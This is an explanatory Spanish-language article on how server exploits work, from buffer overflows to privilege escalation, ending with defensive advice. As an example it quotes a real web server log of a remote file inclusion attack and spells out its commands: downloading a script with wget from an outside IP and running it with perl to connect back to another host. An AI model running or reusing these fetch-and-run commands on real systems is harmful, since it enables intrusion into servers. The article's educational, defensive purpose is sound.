Los exploits, por su propia naturaleza, intentan no ser detectados. Por lo tanto, la mayoría de los exploits no ingresan al sistema por medios normales, al menos no inicialmente. Por lo general, usarán algo como un desbordamiento de búfer para obtener acceso al sistema.
desbordamiento de búfer
Este estilo de ataque busca partes de una aplicación que buscan obtener información de un usuario. Piense en una página web y los diversos cuadros de texto en los que debe proporcionar información escribiendo cosas en estos cuadros de texto. Cada uno de estos cuadros de texto es un posible punto de entrada para un posible atacante.
La buena noticia:
- La mayoría de estos ataques no obtienen acceso raíz, obtienen acceso a una cuenta de usuario configurada específicamente para el servidor web, por lo que normalmente tiene acceso limitado solo a los archivos y funciones del servidor web.
- al irrumpir, el atacante ha dejado un rastro considerable en varias áreas.
- Los registros del cortafuegos
- Registros del servidor web
- Otros registros potenciales de herramientas de seguridad
Las malas noticias:
- Obtuvieron acceso a un sistema y, por lo tanto, tienen una cabeza de playa en la que pueden seguir intentando penetrar más.
- Los registros. Sí, la mayoría de las veces las intrusiones no se detectan durante semanas/meses/años dado que el análisis de registros requiere mucho tiempo y es propenso a errores.
detectar inicios de sesión raíz
La mayoría de los sistemas están diseñados para no permitir inicios de sesión de raíz, por lo que este vector de ataque no es realmente un problema. La mayoría de los ataques obtienen acceso a alguna otra cuenta de nivel inferior y luego se aprovechan al encontrar vulnerabilidades adicionales una vez que han establecido una cabeza de puente en su sistema.
ejemplo #1:
Un posible atacante podría obtener acceso a la raíz haciendo lo siguiente:
- Ingresar a la cuenta del servidor web de un sistema encontrando una página web vulnerable que procesa la entrada de un usuario desde algún formulario a través de cuadros de texto.
- Una vez que se haya logrado el acceso a la cuenta del servidor web, intente obtener acceso shell a través de la cuenta del servidor web o intente que la cuenta del servidor web ejecute comandos en su nombre.
- Determinar que hay una debilidad en la versión de este sistema en particular de una herramienta como el comando
ls
. - Desborde la herramienta
ls
para obtener acceso a la cuenta raíz.
ejemplo #2:
Un posible atacante podría ni siquiera estar interesado en obtener el control total de su sistema. La mayoría de los allanamientos solo están interesados en sistemas de recolección para ser utilizados como "esclavos" para otros usos. Muy a menudo, el atacante solo está interesado en instalar su software en su sistema para poder usarlo, sin siquiera obtener el control total del sistema.
- Determinar que un determinado sitio web ha puesto a disposición la aplicación web X. El atacante sabe que la aplicación web X tiene una vulnerabilidad en la que la aplicación web X permite a los usuarios cargar archivos de imagen.
- El atacante prepara un archivo llamado
CMD.gif
y lo sube. Tal vez sea la imagen del avatar de un usuario en un sitio de foro, por ejemplo. PeroCMD.gif
no es una imagen, en realidad es un programa, que se llamaCMD.gif
. - El atacante carga una "imagen" en el sitio del foro.
- Ahora el atacante "engaña" a la aplicación web X para que ejecute su "imagen".
- El atacante hace llamadas con su navegador a la aplicación web X, pero lo llama de formas que los autores de la aplicación web X nunca imaginaron. Tampoco diseñaron la aplicación web X para no permitirlo.
archivo de registro del servidor web de dicho ataque
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
Aquí, el atacante obtiene la aplicación web X (index.php) para ejecutar CMD.gif
que luego puede hacer lo siguiente:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
Así que han persuadido a la aplicación web X para que cambie los directorios a /tmp
, descarga un archivo, dc.txt
y luego ejecute el archivo haciendo una conexión de nuevo a la dirección IP 72.36.21.183 en el puerto 21.
Deshabilitar un servidor "comprometido"
La idea de que puede cerrar un servidor que ha "detectado" un exploit es un buen intento, pero no funciona por un par de razones.
- Si el atacante puede ingresar al primer sistema, probablemente pueda ingresar al segundo sistema.
- La mayoría de los sistemas son esencialmente clones entre sí. Son más fáciles de mantener y mantener las cosas simples (lo mismo) es un sello distintivo de la mayoría de las cosas en TI y computadoras.
- Diferentes configuraciones significan más trabajo en el mantenimiento de los sistemas y más oportunidades de cometer errores, lo que suele ser lo que conduce a una vulnerabilidad para empezar.
- Es posible que el objetivo de los atacantes no sea ingresar, es posible que intenten denegar el acceso a su servicio. Esto se denomina denegación de servicio (DoS).
Intentando limitar el daño
Podría seguir y seguir, pero en general tiene algunos recursos disponibles cuando se trata de proteger un sistema.
- Utilice herramientas como Tripwire para detectar cambios en el sistema de archivos de un sistema.
- Cortafuegos:limite el acceso para que solo se permita explícitamente cuando sea necesario, en lugar de tener acceso completo a todo.
- Analice los archivos de registro utilizando herramientas para detectar anomalías.
- Mantenga los sistemas actualizados y actualizados con parches.
- Limite la exposición:solo instale el software que se necesita en un sistema, si no necesita el
gcc
compilador instalado, no lo instale. - IDS:software de detección de intrusos.